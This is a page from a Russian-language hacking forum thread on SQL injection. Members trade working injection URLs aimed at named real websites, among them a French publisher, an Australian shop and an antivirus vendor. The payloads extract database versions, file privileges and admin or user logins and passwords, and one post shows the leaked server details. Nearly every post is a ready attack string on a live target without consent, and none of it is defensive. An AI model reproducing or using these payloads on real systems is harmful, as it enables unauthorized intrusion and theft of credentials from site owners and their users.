SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИЦ = 10, PR = 5

    PHP:
    http://www.editorialalmuzara.com/editorial.php?idioma=1&dossier=999999999+union+select+1,concat_ws(0x03a,database(),user(),version()),3,4,5,6,7,8--
     
  2. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Часы

     
  3. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Error-based.

    PHP:
    http://amou.lebasket.net/com/album.php?Dossier=soiree_sponsors&lang=f+and(select+1+from(select+count(*),concat((select+(select+concat(database()))+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1
     
    1 person likes this.
  4. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Телефоны

     
    1 person likes this.
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Буква "N" латинского алфавита довольно часто делает меня грустным :(

    PHP:
    http://www.solvimo.com/definition3.php?num=-62+union+select+1,2,file_priv+from+mysql.user--
     
  6. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    все выдает


     
    #14826 DTW, 2 May 2012
    Last edited: 2 May 2012
  7. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Коллекционерам юзеров.

    PHP:
    http://www.super-ethanol.fr/index.php?page=kit_e85-detail&dossier=pages&id=-48+union+select+1,2,count(*),4,5,6,7,8,9,10,11+from+phpbb3_users--
     
  8. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Батарее
     
  9. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Админка на французском. Лень ковыряться.

    PHP:
    http://www.diocesebafoussam.org/index.php?section=26&elt=114&dossier=-7+union+select+1,concat_ws(0x03a,id,login,password,role),3,4,5+from+users--
     
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Учитесь на кошках))
     
    _________________________
    #14830 winstrool, 3 May 2012
    Last edited: 3 May 2012
  11. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Consulting

    Спорт
    агентство
     
    #14831 DTW, 3 May 2012
    Last edited: 3 May 2012
  12. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Просто сайт. Ничего интересного.

    PHP:
    http://www.asdlionheart.com/links.php?idSection=-84+union+selec+1,count(*),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users--
     
  13. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    magyarugar


    Drupal some one

     
    #14833 DTW, 4 May 2012
    Last edited: 4 May 2012
  14. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    И снова ничего интересного :mad:
    PHP:
    http://oldriver.ru/Page.php?PID=-29+union+select+1,@@datadir,3--
     
  15. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.novocherkassk-gorod.ru/cgi-bin/News/news1.cgi?id=17132%20and%201=2%20union%20select%201,2,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),4,5,6,7,8+--

    5.0.90-log [email protected] u54156 portbld-freebsd7.3
     
  16. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    culminatum


    Самолеты

    хз как вывести

    Хз что
     
    #14836 DTW, 4 May 2012
    Last edited: 4 May 2012
  17. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Что-то типа шопа.

    PHP:
    http://toptrail.com.au/catalog.php?catId=-6+union+select+1,concat_ws(0x03a,id,login_id,password),3,4+from+admin--
     
  18. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Но комментс:

    http://www.topnews.ru/citation.php?autor=111134+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.columns+where+column_name+like+'%pass%'--+&prof=0&page=1
     
  19. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    Антивирусы то предоставляют, а сами себя защитить не могут :mad:
    PHP:
    http://www.comvirus.ru/index_a.php ?id_at=-1+UNION+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    [​IMG]
    PHP:
    http://megaresort.ru/view_a.php?id=-21+union+select+1,group_concat%280x5F,user%28%29,0x5F,version%28%29,0x5F%29,3,4,5,6--
     
    #14839 BLurpi^_^, 4 May 2012
    Last edited: 4 May 2012
    3 people like this.
  20. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Привет Питеру. Как там у вас погодка? :)

    PHP:
    http://hck2.ru/index.php?page=2&newsid=-310+union+select+concat_ws(0x03a,id_user,u_name,u_pass,type)+from+k2new_users--
     
Thread Status:
Not open for further replies.